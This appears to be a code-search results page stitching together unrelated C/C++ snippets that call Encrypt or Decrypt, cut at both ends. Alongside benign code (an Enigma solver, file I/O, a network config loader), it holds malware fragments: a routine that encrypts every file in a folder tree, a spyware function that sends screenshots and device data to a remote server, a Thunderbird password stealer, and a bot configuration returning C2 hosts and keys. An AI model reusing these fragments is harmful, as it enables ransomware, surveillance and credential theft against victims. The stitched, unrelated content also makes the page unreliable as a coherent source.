                StringCchCat(newFolderPath, MAX_PATH, TEXT("\\"));
                StringCchCat(newFolderPath, MAX_PATH, ffd.cFileName);
                TraverseFile(newFolderPath);
            }
        }
        else
        {
            TCHAR filePath[MAX_PATH] ;
            StringCchCopy(filePath, MAX_PATH, pFolderPath);
            StringCchCat(filePath, MAX_PATH, TEXT("\\"));
            StringCchCat(filePath, MAX_PATH, ffd.cFileName);
            _tprintf(TEXT("  %s \n"), filePath);

            // ²»²Ù×÷±¾exeµµ
            if (strcmp(ffd.cFileName, TEXT("SecreteIt.exe")) != 0 )
            {
                // for debug:
                //StringCchCopy(filePath, MAX_PATH, TEXT("test.txt"));
                if (bEncrypt)
                    Encrypt(filePath);
                else if (bDecrypt)
                    Decrypt(filePath);
                else
                    dwError = -1;
            }
        }
    }
    while(FindNextFile(hFind, &ffd) != 0);

    dwError = GetLastError();
    if (dwError != ERROR_NO_MORE_FILES)
    {
        ErrorHandler(TEXT("FindFirstFile"));
    }

    FindClose(hFind);
    return dwError;
}
Example #13
0
int main(void)
{
	clock_t start, finish;
	double	elapsed;

	srand(time(NULL));
	start = clock();

	printf("---------- sample1 demo ------------\n");
	printf("plain:\n");
	ShowHex(sample1_plain, sample1_plainlen);

	Encrypt(sample1_plain, sample1_plainlen, cipher, sample1_key, sample1_keylen, sample1_keyround);
	printf("cipher:\n");
	ShowHex(cipher, sample1_plainlen);

	Decrypt(cipher, sample1_plainlen, tmp, sample1_key, sample1_keylen, sample1_keyround);
	printf("recoverd plain:\n");
	ShowHex(tmp, sample1_plainlen);

	printf("---------- sample2 demo ------------\n");
	printf("plain:\n");
	ShowHex(sample2_plain, sample2_plainlen);

	Encrypt(sample2_plain, sample2_plainlen, cipher, sample2_key, sample2_keylen, sample2_keyround);
	printf("cipher:\n");
	ShowHex(cipher, sample2_plainlen);

	Decrypt(cipher, sample2_plainlen, tmp, sample2_key, sample2_keylen, sample2_keyround);
	printf("recoverd plain:\n");
	ShowHex(tmp, sample2_plainlen);

	printf("---------- sample3 demo ------------\n");
	printf("plain:\n");
	ShowHex(sample3_plain, sample3_plainlen);

	Encrypt(sample3_plain, sample3_plainlen, cipher, sample3_key, sample3_keylen, sample3_keyround);
	printf("cipher:\n");
	ShowHex(cipher, sample3_plainlen);

	Decrypt(cipher, sample3_plainlen, tmp, sample3_key, sample3_keylen, sample3_keyround);
	printf("recoverd plain:\n");
	ShowHex(tmp, sample3_plainlen);

	printf("---------- random data demo ------------\n");
#define PlainLen	32
#define KeyLen		16
#define EncRound	8
	FillRandom(key, KeyLen);
	printf("key:\n");
	ShowHex(key, KeyLen);

	FillRandom(plain, PlainLen);
	printf("plain:\n");
	ShowHex(plain, PlainLen);

	Encrypt(plain, PlainLen, cipher, key, KeyLen, EncRound);
	printf("cipher:\n");
	ShowHex(cipher, PlainLen);

	Decrypt(cipher, PlainLen, tmp, key, KeyLen, EncRound);
	printf("recoverd plain:\n");
	ShowHex(tmp, PlainLen);

	finish = clock();
	elapsed = (double) (finish - start) / CLOCKS_PER_SEC;
	printf("Elapsed Time %lf s\n", elapsed);
	return 0;
}
Example #14
0
/***
	Write bytes in a file from a given buffer.
	Parameters:
		- pvBuf: User buffer with data to write in file
		- tsSize: Size of iten to write
		- tsNumItens: Number of itens to write
	Return:
		Number of writtem itens in succes or E_NOTOPEN,
		E_BUFFNULL or E_WRITE.
***/
size_t
C_File::Write( void FAR *pvBuf, size_t tsSize, size_t tsNumItens )
{
	C_FileCritSect	cCS0( this, CRITSECT0 );

	size_t	i = 0;
	BOOL	bContinue = TRUE;


#ifdef _USE_PRINTF_
	Printf( "C_File: Estou em Write. (arq %s)", szFileName );
#endif
	int iFlag = FALSE;
	if( !pvBuf ){
		return( (size_t) E_BUFFNULL );
	}
	if( (_bIs32s && iFile == -1) || (!_bIs32s && hFile == INVALID_HANDLE_VALUE) ){
		if( ReOpen() != OK ){		   
			if( !_xFile ){
				return( 0 );
			}
			_xFile->PseudoClose();
			ReOpen();		   
			iFlag = TRUE;
		}
	}
	LockStruct ls( this, CurPos(), (tsSize * tsNumItens) );
	if( IsLocked( &ls ) ){
		if( iFlag ){
			PseudoClose();
			_xFile->ReOpen();
		}
#ifdef _USE_PRINTF_
		Printf( "C_File: Write: IsLocked." );
#endif
		return( (size_t) E_WRITE );
	}

	if( cCriptoOn ){
		Encrypt( pvBuf, szKey, tsSize );
	}

	// MMF
	BOOL	bWriteHeader = FALSE;
	if( !_bIs32s && hMMF ){
		// preparar gravacao a partir do MMF

		long	lFSize = FileSize();
		long	lCPos = CurPos();
		if( ( lCPos + (int) (tsNumItens * tsSize) ) > lFSize ){
			// este write vai exceder os limites do arquivo. vamos aumentar-lo.
			if( GrowFile( lCPos + (tsNumItens * tsSize) ) != OK ){
				// nao foi possivel aumentar o arquivo.
				bContinue = FALSE;
			}
		}
		if( bContinue ){
			if( (lCPos == iHeadInit)  && (((int) tsSize) == iHeadSize) ){
				bWriteHeader = TRUE;
				// vamos fazer write no header do arquivo.
				if( !pHeadView ){
					// o header ainda nao esta' mapeado. vamos fazer isso.
					CreateViewOfHead();
				}
			} else {
				if( !pWinView ){
					// o arquivo ainda nao esta' mapeado. vamos fazer isso.
					CreateViewOfFile();
				}
			}
		}
	}

	if( bContinue ){
		for( i = 0; i < tsNumItens; i++ ){
			if( _bIs32s ){
				if( write( iFile, pvBuf, (unsigned) tsSize ) < (int) tsSize ){
					break;
				}
			} else {
				if( bWriteHeader ){
					// gravar header no MMF.
					memcpy( pHeadView, pvBuf, tsSize );
				} else {
					if( pWinView ){
						// gravar no MMF.
						int	iNumBytes = ((iMMFWinSize * iPageSize) - iSeekWin) - (iHeadSize + 1);
						memcpy( (void*) ((char*) PWINVIEW + iSeekWin), pvBuf, min( iNumBytes, ((int) tsSize) ) );
						if( iNumBytes < ((int) tsSize) ){
							// precisamos mapear outra janela e continuar a gravacao
							++iWinNum;	// proxima janela
							CreateViewOfFile();
							if( !pWinView ){
								// mapeamento nao foi feito. fudeu.
								break;
							}
							// gravacao do restante
							memcpy( (void*) ((char*) PWINVIEW + iSeekWin), (void*) ((char*) pvBuf + iNumBytes), (tsSize - iNumBytes) );
							iSeekWin += (tsSize - iNumBytes);
						} else {
							iSeekWin += tsSize;
						}
					} else {
						DWORD	dwWrittenBytes;
						BOOL	bResult = WriteFile( hFile, pvBuf, (unsigned) tsSize, &dwWrittenBytes, NULL );
						if( !bResult || ( dwWrittenBytes < tsSize ) ){
							DWORD	dwErr = GetLastError();
							break;
						}
					}
				}
			}
		}
	}
//	if( ::GetTypeInt() == PE_REDE ){
//		Flush();
//	}
	dwLastUse = GetTickCount();
	if( cCriptoOn ){
		Decrypt( pvBuf, szKey, tsSize );
	}
	if( i < tsNumItens ){
#ifdef _USE_PRINTF_
		Printf( "C_File: Write: E_WRITE." );
#endif
		i = (size_t) E_WRITE;
	}
	if( iFlag ){
		PseudoClose();
		_xFile->ReOpen();
	}
#ifdef _USE_PRINTF_
	Printf( "C_File: Write: Vou retornar %d.", i );
#endif
	return( i );
}
Example #15
0
BOOL SendEvidences()
{
	BOOL bRetVal = TRUE;
	ULONG uHeaderSize;
	PBYTE pHeaderBuffer;

	// DEVICE FIRST 
	if (pDeviceContainer)
	{
		// payload
		ULONG a = Align(pDeviceContainer->uSize, 16);
		PBYTE pCryptedDeviceBuffer = (PBYTE)malloc(Align(pDeviceContainer->uSize, 16));
		memset(pCryptedDeviceBuffer, 0x0, Align(pDeviceContainer->uSize, 16));
		memcpy(pCryptedDeviceBuffer, pDeviceContainer->pDataBuffer, pDeviceContainer->uSize);
		Encrypt(pCryptedDeviceBuffer, Align(pDeviceContainer->uSize, 16), pLogKey, PAD_NOPAD);

		// header
		CreateLogFile(PM_DEVICEINFO, NULL, 0, FALSE, &pHeaderBuffer, &uHeaderSize);

		// total_len + header + payload_len_clear + payload
		PBYTE pBuffer = (PBYTE)malloc(sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16)); 
		memset(pBuffer, 0x0, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + pDeviceContainer->uSize);

		// total_len
		*(PULONG)pBuffer = sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16);
		//header
		memcpy(pBuffer + sizeof(ULONG), pHeaderBuffer, uHeaderSize);

		// payload_len_clear
		//*(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = Align(pDeviceContainer->uSize, 16);
		*(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = pDeviceContainer->uSize;

		// payload
		memcpy(pBuffer + sizeof(ULONG) + uHeaderSize + sizeof(ULONG), pCryptedDeviceBuffer, Align(pDeviceContainer->uSize, 16));

		PBYTE pCryptedBuffer;
		if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_EVIDENCE, pBuffer, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(pDeviceContainer->uSize, 16), pSessionKey, &pCryptedBuffer)))
		{
			ULONG uResponseLen;
			PBYTE pResponseBuffer = WinHTTPGetResponse(&uResponseLen); 
			if (pResponseBuffer)
			{
				Decrypt(pResponseBuffer, uResponseLen, pSessionKey);
				if (uResponseLen >= sizeof(DWORD) && *(PULONG)pResponseBuffer == PROTO_OK)
				{
					free(pDeviceContainer->pDataBuffer);
					free(pDeviceContainer);
					pDeviceContainer = NULL;
				}
				else
				{
					bRetVal = FALSE;
#ifdef _DEBUG
					OutputDebugString(L"[!!] got not PROTO_OK @ proto.cpp:81\n");
#endif
				}
				free(pResponseBuffer);
			}
			else
			{
#ifdef _DEBUG
			
				OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:81\n");
#endif
				bRetVal = FALSE;
			}
		}
		else
		{
#ifdef _DEBUG
			OutputDebugString(L"[W] WinHTTPSendData FAIL @ proto.cpp:85\n");
#endif		
			bRetVal = FALSE;
		}

		free(pCryptedDeviceBuffer);
		free(pBuffer);
		
	}
#ifdef _DEBUG
//	else
//		OutputDebugString(L"[*] No DeviceInfo\n");
#endif

	// SCREENSHOT
	if (*(PULONG)SCREENSHOT_FLAG == 0)
	{
		ULONG uScreenShotLen;
		PBYTE pJPEGBuffer = TakeScreenshot(&uScreenShotLen);
		if (!pJPEGBuffer || !uScreenShotLen)
		{
#ifdef _DEBUG
			OutputDebugString(L"[!!] no pJPEGBuffer or uScreenShotLen!\n");
#endif
		}
		else
		{
			//payload
			pJPEGBuffer = (PBYTE)realloc(pJPEGBuffer, Align(uScreenShotLen, 16));
			Encrypt(pJPEGBuffer, Align(uScreenShotLen, 16), pLogKey, PAD_NOPAD);

			// additional header
			WCHAR pProcessName[] = { L'U', L'N', L'K', L'N', L'O', L'W', L'N', L'\0' };

			ULONG uAddHeaderSize = sizeof(SNAPSHOT_ADDITIONAL_HEADER) + wcslen(pProcessName)*sizeof(WCHAR) + wcslen(pProcessName)*sizeof(WCHAR);
			PSNAPSHOT_ADDITIONAL_HEADER pSnapAddHeader = (PSNAPSHOT_ADDITIONAL_HEADER)malloc(uAddHeaderSize);

			pSnapAddHeader->uProcessNameLen = wcslen(pProcessName)*sizeof(WCHAR);
			pSnapAddHeader->uWindowNameLen = wcslen(pProcessName)*sizeof(WCHAR);
			pSnapAddHeader->uVersion = LOG_SNAP_VERSION;
			memcpy((PBYTE)pSnapAddHeader + sizeof(SNAPSHOT_ADDITIONAL_HEADER), pProcessName, pSnapAddHeader->uProcessNameLen);
			memcpy((PBYTE)pSnapAddHeader + sizeof(SNAPSHOT_ADDITIONAL_HEADER) + pSnapAddHeader->uProcessNameLen, pProcessName, pSnapAddHeader->uWindowNameLen);

			// header
			CreateLogFile(PM_SCREENSHOT, (PBYTE)pSnapAddHeader, uAddHeaderSize, FALSE, &pHeaderBuffer, &uHeaderSize);

			// total_len + header + payload_len_clear + payload
			PBYTE pBuffer = (PBYTE)malloc(sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16)); 
			memset(pBuffer, 0x0, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16));

			// total_len
			*(PULONG)pBuffer = sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16);

			//header
			memcpy(pBuffer + sizeof(ULONG), pHeaderBuffer, uHeaderSize);


			// payload_len_clear
			*(PULONG)(pBuffer + sizeof(ULONG) + uHeaderSize) = uScreenShotLen;//Align(uScreenShotLen, 16);

			// payload
			memcpy(pBuffer + sizeof(ULONG) + uHeaderSize + sizeof(ULONG), pJPEGBuffer, Align(uScreenShotLen, 16));

			PBYTE pCryptedBuffer;
			if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_EVIDENCE, pBuffer, sizeof(ULONG) + uHeaderSize + sizeof(ULONG) + Align(uScreenShotLen, 16), pSessionKey, &pCryptedBuffer)))
			{
				ULONG uResponseLen;
				PBYTE pResponseBuffer = WinHTTPGetResponse(&uResponseLen); 
				if (pResponseBuffer)
				{
					Decrypt(pResponseBuffer, uResponseLen, pSessionKey);
					if (uResponseLen < sizeof(DWORD) || *(PULONG)pResponseBuffer != PROTO_OK)
					{
#ifdef _DEBUG
						OutputDebugString(L"[!!] PROTO_ERR sending screenshot\n");
#endif
						bRetVal = FALSE;
					}

					free(pResponseBuffer);
					free(pCryptedBuffer);
				}
				else
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:157\n");
#endif
					bRetVal = FALSE;
				}

			}
			else
			{
#ifdef _DEBUG
				OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:162\n");
#endif
				bRetVal = FALSE;
			}


			free(pBuffer);
			free(pJPEGBuffer);
			free(pSnapAddHeader);
		}
	}

	return bRetVal;
}
Example #16
0
char *CCryptStr::Str() { Decrypt(); return m_szDecStr; }
Example #17
0
QByteArray TinyAES::Decrypt(QByteArray p_input, QByteArray p_key)
{
    QByteArray iv = p_input.left(16);
    QByteArray input = p_input.remove(0, 16);
    return Decrypt(input, p_key, iv);
}
Example #18
0
int DumpTB(WCHAR *profilePath, WCHAR *signonFile)
{
	WCHAR signonFullFile[MAX_PATH];
	char buffer[2048];
	int bufferLength = 2048;
	FILE *ft = NULL;

	struct tbp_entry {
		WCHAR service[64];
		WCHAR resource[255];
		WCHAR user_name[255];
		WCHAR user_value[255];
		WCHAR pass_name[255];
		WCHAR pass_value[255];
	} tbentry;

	memset(&tbentry, 0, sizeof(tbentry));

	if ( profilePath == NULL || signonFile == NULL)
		return 0;

	_snwprintf_s(signonFullFile, MAX_PATH, L"%s\\%s", profilePath, signonFile);

	if ( (ft = _wfopen(signonFullFile, L"r")) == NULL ) 
		 return 0;

	fgets(buffer, bufferLength, ft);

	// Read out the unmanaged ("Never remember" URL list
	while (fgets(buffer, bufferLength, ft) != 0) {
		// End of unmanaged list
		if (strlen(buffer) != 0 && buffer[0] == '.' && buffer[0] != '#')
			break;
	}

	// read the URL line
	while (fgets(buffer, bufferLength, ft) != 0 ){

		buffer[strlen(buffer)-1] = 0;
		//printf("-> URL: %s \n", buffer);
		swprintf_s(tbentry.service, 255, L"Thunderbird");
		_snwprintf_s(tbentry.resource, 255, _TRUNCATE, L"%S", buffer);

		//Start looping through final singon*.txt file
		while (fgets(buffer, bufferLength, ft) != 0 ) {

			// new entry begins with '.'
			if (!strncmp(buffer, ".", 1)) {
				if (wcscmp(tbentry.user_name, L""))
					LogPassword(tbentry.service, tbentry.resource, tbentry.user_value, tbentry.pass_value);
				
				memset(&tbentry.user_value, 0, sizeof(tbentry.user_value));
				memset(&tbentry.user_name, 0, sizeof(tbentry.user_name));
				memset(&tbentry.pass_value, 0, sizeof(tbentry.pass_value));
				memset(&tbentry.pass_name, 0, sizeof(tbentry.pass_name));
				
				break; // end of cache entry
			}

			//Check if its a password
			if (buffer[0] == '*') {
				buffer[strlen(buffer)-1] = 0;
				_snwprintf_s(tbentry.pass_name, 255, _TRUNCATE, L"%S", buffer + 1);
				
				fgets(buffer, bufferLength, ft);
				buffer[strlen(buffer)-1] = 0;
				
				Decrypt(buffer+1, tbentry.pass_value, 255);

			} else if (!wcscmp(tbentry.user_name, L"")) {
				buffer[strlen(buffer)-1] = 0;
				_snwprintf_s(tbentry.user_name, 255, _TRUNCATE, L"%S", buffer);

				fgets(buffer, bufferLength, ft);

				if (!strcmp(buffer, "~\n")) {
					// the username is inside the resource
					WCHAR *u;
					
					wcsncpy(tbentry.user_value, tbentry.resource, 255);

					if ((u = wcsstr(tbentry.user_value, L"://")) != NULL) {
						u += wcslen(L"://");
						swprintf_s(tbentry.user_value, 255, L"%s", u);
						if ((u = wcschr(tbentry.user_value, L'@')) != NULL)
							*u = 0;
					}
				} else {
					buffer[strlen(buffer)-1] = 0;
					Decrypt(buffer+1, tbentry.user_value, 255);
				}
			}
		}
	}

	fclose(ft);

	return 1;
}
void Calculate(KeySetting& best_ring_setting, KeySetting& best_key_setting, Plugboard& best_plugboard, uint32_t& best_optimized_ngram_score)
{
    RingSetting ring_setting;
    ring_setting.InitializePosition();

    KeySetting key_setting(g_ring_turnover_positions, g_reflector_ring_settings->m_rings);
    KeySetting tmp_key_setting(g_ring_turnover_positions, g_reflector_ring_settings->m_rings);

    Plugboard plugboard;

    KeySetting optimized_ring_setting(g_ring_turnover_positions, g_reflector_ring_settings->m_rings); //Use KeySetting to get the turnover positions
    KeySetting optimized_key_setting(g_ring_turnover_positions, g_reflector_ring_settings->m_rings);

    const uint8_t* ring_settings = ring_setting.GetSettings();

    uint32_t local_ngram_score;
    uint32_t best_ngram_score=0;
    do
    {
        key_setting.InitializeStartPosition();
        do
        {
            tmp_key_setting = key_setting;
            PrecalcPlugPaths(ring_settings, tmp_key_setting);

            //Initialize plugboard
            plugboard.Initialize();

            local_ngram_score = 0;
            while (OptimizeScore(plugboard, g_decrypt_buffer, local_ngram_score));

            if (best_ngram_score<local_ngram_score)
            {
                best_ngram_score = local_ngram_score;

                optimized_ring_setting.CopySettings(ring_settings);
                optimized_key_setting = key_setting;
                OptimizeRingSetting(optimized_ring_setting, optimized_key_setting, plugboard,
                                    g_decrypt_buffer, local_ngram_score);
                if (local_ngram_score>best_optimized_ngram_score)
                {
                    best_optimized_ngram_score = local_ngram_score;
                    best_ring_setting = optimized_ring_setting;
                    best_key_setting = optimized_key_setting;
                    best_plugboard = plugboard;

                    //Debug hiscore output
                    std::string reflector_ring_str, ring_setting_str, key_setting_str, optimized_ring_setting_str, optimized_key_setting_str;
                    g_reflector_ring_settings->ToString(reflector_ring_str);
                    ring_setting.ToString(ring_setting_str);
                    key_setting.ToString(key_setting_str);
                    optimized_ring_setting.ToString(optimized_ring_setting_str);
                    optimized_key_setting.ToString(optimized_key_setting_str);
                    std::string plug_str;
                    plugboard.ToString(plug_str, true);
                    std::string decrypted_text_str;
                    Decrypt(optimized_ring_setting.GetSettings(), optimized_key_setting, plugboard, g_decrypt_buffer);
                    DecryptedString(decrypted_text_str, g_decrypt_buffer);
                    fprintf(stdout, "%s-%s-%s %s-%s score %d using %s : %s\n",
                            reflector_ring_str.c_str(), ring_setting_str.c_str(), key_setting_str.c_str(),
                            optimized_ring_setting_str.c_str(), optimized_key_setting_str.c_str(),
                            best_optimized_ngram_score, plug_str.c_str(), decrypted_text_str.c_str());
                }
            }

            //Debug progress output
            if (0==(key_setting.ToInt()&0x7F))
            {
                std::string reflector_ring_str, ring_setting_str, key_setting_str;
                g_reflector_ring_settings->ToString(reflector_ring_str);
                ring_setting.ToString(ring_setting_str);
                key_setting.ToString(key_setting_str);
                fprintf(stdout, "%s-%s-%s\n", reflector_ring_str.c_str(), ring_setting_str.c_str(), key_setting_str.c_str());
            }

        } while (key_setting.IncrementStartPosition());
    } while (ring_setting.IncrementPositionAAA());
}
Example #20
0
void DecryptC(Crypto_Handle hdl, const unsigned char *in_stream, int size_bits, unsigned char  *out_stream) {
    Decrypt((AESDecoder*)hdl, in_stream, size_bits, out_stream);
}
HRESULT Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_NetworkInterface::GetNetworkInterface___STATIC__MicrosoftSPOTNetNetworkInformationNetworkInterface__U4( CLR_RT_StackFrame& stack )
{
    NATIVE_PROFILE_CLR_NETWORK();
    TINYCLR_HEADER();

    SOCK_NetworkConfiguration config; 
    CLR_UINT32                type = 0;
    CLR_RT_HeapBlock*         pConfig;
    CLR_UINT32                interfaceIndex = stack.Arg0().NumericByRef().u4;
    CLR_RT_HeapBlock&         top            = stack.PushValueAndClear();
    RSAKey*                   key            = NULL;

    TINYCLR_CLEAR(config);

    TINYCLR_CHECK_HRESULT(SOCK_CONFIGURATION_LoadConfiguration( interfaceIndex, &config ));    
        
    type = SOCK_NETWORKCONFIGURATION_FLAGS_TYPE__value(config.flags);
    
    switch(type)
    {
    case SOCK_NETWORKCONFIGURATION_FLAGS_NETWORK_INTERFACE:
        {
            TINYCLR_CHECK_HRESULT(g_CLR_RT_ExecutionEngine.NewObjectFromIndex( top, g_CLR_RT_WellKnownTypes.m_NetworkInterface ));
            break;
        }
    case SOCK_NETWORKCONFIGURATION_FLAGS_WIRELESS:
        {
            TINYCLR_CHECK_HRESULT(g_CLR_RT_ExecutionEngine.NewObjectFromIndex( top, g_CLR_RT_WellKnownTypes.m_Wireless80211 ));
            break;
        }
    default:
        {
            /// Unknown type, not supported.
            TINYCLR_SET_AND_LEAVE(CLR_E_FAIL);
            break;
        }
    }
    
    pConfig = top.Dereference(); FAULT_ON_NULL(pConfig);
    
    pConfig[ FIELD___flags                ].SetInteger( config.flags      );
    pConfig[ FIELD___ipAddress            ].SetInteger( config.ipaddr     );
    pConfig[ FIELD___gatewayAddress       ].SetInteger( config.gateway    );
    pConfig[ FIELD___subnetMask           ].SetInteger( config.subnetmask );
    pConfig[ FIELD___dnsAddress1          ].SetInteger( config.dnsServer1 );
    pConfig[ FIELD___dnsAddress2          ].SetInteger( config.dnsServer2 );    
    pConfig[ FIELD___networkInterfaceType ].SetInteger( config.networkInterfaceType );
    pConfig[ FIELD___interfaceIndex       ].SetInteger( interfaceIndex    );

    TINYCLR_CHECK_HRESULT(CLR_RT_HeapBlock_Array::CreateInstance( pConfig[ FIELD___macAddress ], config.macAddressLen, g_CLR_RT_WellKnownTypes.m_UInt8 ));   

    memcpy( pConfig[ FIELD___macAddress ].DereferenceArray()->GetFirstElement(), config.macAddressBuffer, config.macAddressLen );

    /// Type specific load.
    switch(type)
    {
    case SOCK_NETWORKCONFIGURATION_FLAGS_WIRELESS:
        {
            CLR_UINT32 wirelessIndex = SOCK_NETWORKCONFIGURATION_FLAGS_SUBINDEX__value(config.flags);
            SOCK_WirelessConfiguration wirelessConfig;
            
            TINYCLR_CHECK_HRESULT(SOCK_CONFIGURATION_LoadWirelessConfiguration( wirelessIndex, &wirelessConfig ));

            pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__Authentication ].SetInteger( WIRELESS_FLAG_AUTHENTICATION__value(wirelessConfig.wirelessFlags) );
            pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__Encryption     ].SetInteger( WIRELESS_FLAG_ENCRYPTION__value    (wirelessConfig.wirelessFlags) );
            pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__Radio          ].SetInteger( WIRELESS_FLAG_RADIO__value         (wirelessConfig.wirelessFlags) );

            TINYCLR_CHECK_HRESULT(CLR_RT_HeapBlock_Array::CreateInstance( pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__NetworkKey ], wirelessConfig.networkKeyLength, g_CLR_RT_WellKnownTypes.m_UInt8 )); 
            TINYCLR_CHECK_HRESULT(CLR_RT_HeapBlock_Array::CreateInstance( pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__ReKeyInternal ], wirelessConfig.reKeyLength, g_CLR_RT_WellKnownTypes.m_UInt8 )); 

            UINT32 dataFlag = WIRELESS_FLAG_DATA__value(wirelessConfig.wirelessFlags);
            if (dataFlag & WIRELESS_FLAG_DATA_ENCRYPTED)
            {
                key = RetrieveWirelessEncryptionKey();
            }

            if (key == NULL)
            {   
                wirelessConfig.passPhrase[ WIRELESS_PASSPHRASE_LENGTH - 1 ] = 0;
                TINYCLR_CHECK_HRESULT(CLR_RT_HeapBlock_String::CreateInstance( pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__PassPhrase ], wirelessConfig.passPhrase ));                
                if(wirelessConfig.networkKeyLength > 0)
                {
                    memcpy( pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__NetworkKey ].DereferenceArray()->GetFirstElement(), wirelessConfig.networkKey, wirelessConfig.networkKeyLength );                
                }
                if(wirelessConfig.reKeyLength > 0)
                {
                    memcpy( pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__ReKeyInternal ].DereferenceArray()->GetFirstElement(), wirelessConfig.reKeyInternal, wirelessConfig.reKeyLength );
                }
            }
            else
            {   
                char passPhrase[ WIRELESS_PASSPHRASE_LENGTH ];
                
                Decrypt( (BYTE *)key, (BYTE *)wirelessConfig.passPhrase, WIRELESS_PASSPHRASE_LENGTH - 1, (BYTE *)passPhrase, WIRELESS_PASSPHRASE_LENGTH - 1 );
                passPhrase[ WIRELESS_PASSPHRASE_LENGTH - 1 ] = 0;
                TINYCLR_CHECK_HRESULT(CLR_RT_HeapBlock_String::CreateInstance( pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__PassPhrase ], passPhrase ));

                if(wirelessConfig.networkKeyLength > 0)
                {
                    Decrypt( (BYTE *)key, (BYTE *)wirelessConfig.networkKey, wirelessConfig.networkKeyLength, pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__NetworkKey ].DereferenceArray()->GetFirstElement(), wirelessConfig.networkKeyLength );
                }

                if(wirelessConfig.reKeyLength > 0)
                {
                    Decrypt( (BYTE *)key, (BYTE *)wirelessConfig.reKeyInternal, wirelessConfig.reKeyLength, pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__ReKeyInternal ].DereferenceArray()->GetFirstElement(), wirelessConfig.reKeyLength );                
                }
            }

            TINYCLR_CHECK_HRESULT(CLR_RT_HeapBlock_String::CreateInstance( pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__Ssid ], wirelessConfig.ssid ));                

            pConfig[ Library_spot_net_native_Microsoft_SPOT_Net_NetworkInformation_Wireless80211::FIELD__Id ].SetInteger( wirelessIndex );

            break;
        }
    default:
        {
            break;
        }
    }

        
    TINYCLR_NOCLEANUP();
}
//--------------------------------------------------------------------------------
//--------------------------------------------------------------------------------
//--------------------------------------------------------------------------------
CMCDecrypt::CMCDecrypt(const BYTE* pData, int nLen, const BYTE* pKey)
	{
	Decrypt(pData, nLen, pKey);
	}
Example #23
0
DWORD WINAPI GetBotParameter(DWORD ParamID, PCHAR Buffer, DWORD BufSize)
{
	MDBG_Config("Config","GetBotParameter");
	//  Функция возвращает парметр бота
	if (Buffer != NULL && BufSize == 0)
		return 0;

	PCHAR Value = NULL;

	#ifdef DEBUGCONFIG
		switch (ParamID) {
			case BOT_PARAM_PREFIX: Value = DebugBotPrefix;  break;
			case BOT_PARAM_HOSTS:  Value = DebugHost; break;
			case BOT_PARAM_KEY:    Value = DebugPassword; break;
			case BOT_PARAM_DELAY:  Value = DebugDelay; break;
		default: return 0;;
		}
	#else
		switch (ParamID) {
			case BOT_PARAM_PREFIX: Value = BOT_PREFIX;  break;
			case BOT_PARAM_HOSTS:  Value = BOT_HOSTS_ARRAY; break;
			case BOT_PARAM_KEY:    Value = MainPassword; break;
			case BOT_PARAM_DELAY:  Value = Delay; break;
		default: return 0;;
		}
	#endif

	if (Value == NULL)
		return 0;

	// Лпределяем размер параметра
	DWORD Size = 0;

	if (ParamID == BOT_PARAM_HOSTS)
	{
		#ifdef DEBUGCONFIG
			 Size = StrCalcLength(Value) + 2;
		#else
			 Size = STR::CalcDoubleZeroStrLength(Value);
		#endif
	}
	else
		Size = StrCalcLength(Value);


	if (Buffer == NULL)
		return Size;


	// Копируем значение
	m_memset(Buffer, 0, BufSize);

	if (BufSize < Size)
	{
		if (ParamID == BOT_PARAM_HOSTS)
            Size = BufSize - 2;
		else
			Size = BufSize - 1;
    }

	DWORD ToCopy = Size;


	#ifdef DEBUGCONFIG
		if (ParamID == BOT_PARAM_HOSTS)
			ToCopy -= 2;
	#endif

    m_memcpy(Buffer, Value, ToCopy);


	#ifdef DEBUGCONFIG
		// Шифруем открытые данные
		if (ParamID == BOT_PARAM_HOSTS ||
			ParamID == BOT_PARAM_PREFIX ||
			ParamID == BOT_PARAM_KEY)
		{
			Decrypt(Buffer, Buffer);
		}
	#endif


	return Size;
}
GMPErr
ClearKeyDecryptionManager::Decrypt(std::vector<uint8_t>& aBuffer,
                                   const CryptoMetaData& aMetadata)
{
  return Decrypt(&aBuffer[0], aBuffer.size(), aMetadata);
}
static bool P_LoadBloodMap (BYTE *data, size_t len, FMapThing **mapthings, int *numspr)
{
    BYTE infoBlock[37];
    int mapver = data[5];
    DWORD matt;
    int numRevisions, numWalls, numsprites, skyLen, visibility, parallaxType;
    int i;
    int k;

    if (mapver != 6 && mapver != 7)
    {
        return false;
    }

    matt = *(DWORD *)(data + 28);
    if (matt != 0 &&
            matt != MAKE_ID('M','a','t','t') &&
